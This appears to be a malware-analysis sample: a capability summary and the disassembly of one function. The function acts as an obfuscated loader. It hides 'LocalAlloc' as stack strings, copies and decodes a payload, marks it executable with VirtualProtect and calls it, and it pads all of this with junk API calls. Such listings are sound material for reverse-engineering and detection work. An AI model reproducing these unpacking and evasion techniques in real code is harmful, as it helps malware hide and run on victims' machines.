Function at 0x401828
Capabilities:
Access the windows event log
Contain obfuscated stackstrings
Read .ini file
Set environment variable
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8f4
push ebx
push esi
push edi
mov esi, 0x4187e0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ebx, ebx
cmp eax, 0x736f1
jne 0x4018f1
push 0x42e2c8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xed47e
jne 0x4018f1
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401868
sub ecx, edx
cmp ecx, 0x9bbd4
jne 0x4018f1
xor eax, eax
lea edi, [ebp - 0x1e]
mov word [ebp - 0x20], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
movsd xmm0, qword [0x410658]
push 0x6f
push ecx
push ecx
movsd qword [esp], xmm0
push str.Mefogunapihuvuziyuyo_ze_pobumumuyunuraxekowu_kopofuxegenu_suwibocatakohu_denahaguwalabumigu_repidironuxaca_pinezetomoba_vajenoyufateroju
push str._s__f__c
call fcn.00402659
add esp, 0x14
lea ecx, [ebp - 0x38]
push str.duzololamupafosowazeza
call fcn.00401057
push str.Vagemoyanila_farupehona_kofuxihu_dukica_misase_dikerane_zoge_letevopovozo_kigilacabu_letawicafumo
push esi
call fcn.00402708
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x38]
call fcn.004012b2
mov esi, ebx
cmp esi, 0x1a8f
jge 0x401909
push ebx
push ebx
lea eax, [ebp - 5]
push eax
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetWinMetaFileBits]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
mov edi, eax
cmp esi, 0xaef
jge 0x401930
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.ole32.dll_ReadFmtUserTypeStg]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DragObject]
cmp esi, 0x3a43f
jle 0x401940
cmp edi, 0x1dff8eb4
jne 0x40194b
inc esi
cmp esi, 0xb9295b6
jl 0x4018f3
jmp 0x401956
push str.Pirabepu
call dword [sym.imp.USER32.dll_CharNextA]
mov eax, dword [0x417410]
mov esi, ebx
mov dword [0xa2562c], eax
cmp esi, 0x1c1f
jge 0x401972
push ebx
push ebx
call dword [sym.imp.GDI32.dll_SetTextColor]
cmp esi, 0x590f3
jne 0x401984
add dword [0xa2562c], 0xd1af1
cmp esi, 0x53
jge 0x40199b
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DefFrameProcW]
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
inc esi
cmp esi, 0x1113f3
jl 0x401962
mov esi, ebx
cmp esi, 0x1e13
jge 0x4019f7
push ebx
push str.Kuju_bumakoji
call dword [sym.imp.USER32.dll_UnregisterClassA]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
xor eax, eax
lea edi, [ebp - 0x2e]
mov word [ebp - 0x30], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x48], ax
lea edi, [ebp - 0x46]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
cmp esi, 0x1ec204
jne 0x401a0f
push 0x4103a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0xa2563c], eax
cmp esi, 0x2007
jge 0x401a21
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_GetLastInputInfo]
inc esi
cmp esi, 0x38ad4f
jl 0x4019a6
lea eax, [ebp - 0x448]
mov word [ebp - 0x445], 0x6c61
push eax
push dword [0xa2563c]
mov dword [ebp - 0x442], 0x636f6c6c
mov word [ebp - 0x448], 0x6f4c
mov byte [ebp - 0x446], 0x63
mov byte [ebp - 0x443], 0x41
mov byte [ebp - 0x43e], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0xa2562c]
mov dword [0xa25638], eax
push ebx
call eax
mov esi, ebx
mov dword [0xa25630], eax
mov eax, dword [0x417404]
mov dword [0xa25634], eax
cmp dword [0xa2562c], ebx
jbe 0x401b04
cmp esi, 0x12bf
jge 0x401aaf
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SleepEx]
push ebx
call dword [sym.imp.USER32.dll_GetLastActivePopup]
mov eax, dword [0xa25634]
mov cl, byte [eax + esi + 0xd1af1]
mov eax, dword [0xa25630]
mov byte [eax + esi], cl
cmp esi, 0x4af
jge 0x401afb
push str.Payuvukuvigo_fobumomida_gejidigasi_viwecanifixu_xojo
push str.Hoha
call dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x18]
push eax
push ebx
push str.Mosewa_falo_liyukavaluveve
push ebx
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_ScaleViewportExtEx]
inc esi
cmp esi, dword [0xa2562c]
jb 0x401a98
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
mov esi, ebx
cmp esi, 0x6a3
jge 0x401b32
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.ole32.dll_OleCreateStaticFromData]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp esi, 0x3a736e
jne 0x401b53
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push dword [0xa2562c]
push dword [0xa25630]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, 0x13eb
jge 0x401b78
push ebx
push ebx
push str.Yani_ni_behupa_norucuma
lea eax, [ebp - 0x48]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_ExtTextOutW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
inc esi
cmp esi, 0x5fbfb5
jl 0x401b11
push section..data
push dword [0xa2562c]
push dword [0xa25630]
call fcn.004015d6
mov esi, ebx
cmp esi, 0x11ec
jge 0x401bab
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ole32.dll_CreateOleAdviseHolder]
cmp esi, 0x24f757
jne 0x401bc4
nop
add dword [0xa2562c], 0x379cb0ff
call dword [0xa25630]
cmp esi, 0x250d
jge 0x401c01
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.ole32.dll_CLSIDFromString]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push str.Linudoxevi_nape_nacute_di_doba
push ebx
lea eax, [ebp - 0x8f4]
push eax
push str.Mayokavodive_zosakovu
push str.Janiyejilidi_jopomiwuhezafa_hocepareju
push str.Kusihevi_zasudasocure_cezoderagobeke_hale_fimateme
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
inc esi
cmp esi, 0x42835a
jl 0x401b99
mov ecx, dword [0xa2576c]
mov eax, dword fs:[0x2c]
push str.Gozojijuteruda_dasaruhitowo_ceyepolewixo_cojeho
push ebx
push ebx
mov eax, dword [eax + ecx*4]
push str.Kaxeve
push str.Wehewanupo_gicupiho_yulexivavi_tomoyi_sisadayema
mov dword [eax + 4], 1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
push str.Wope_re_xekopexatevo
push str.Ciwa_vu
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10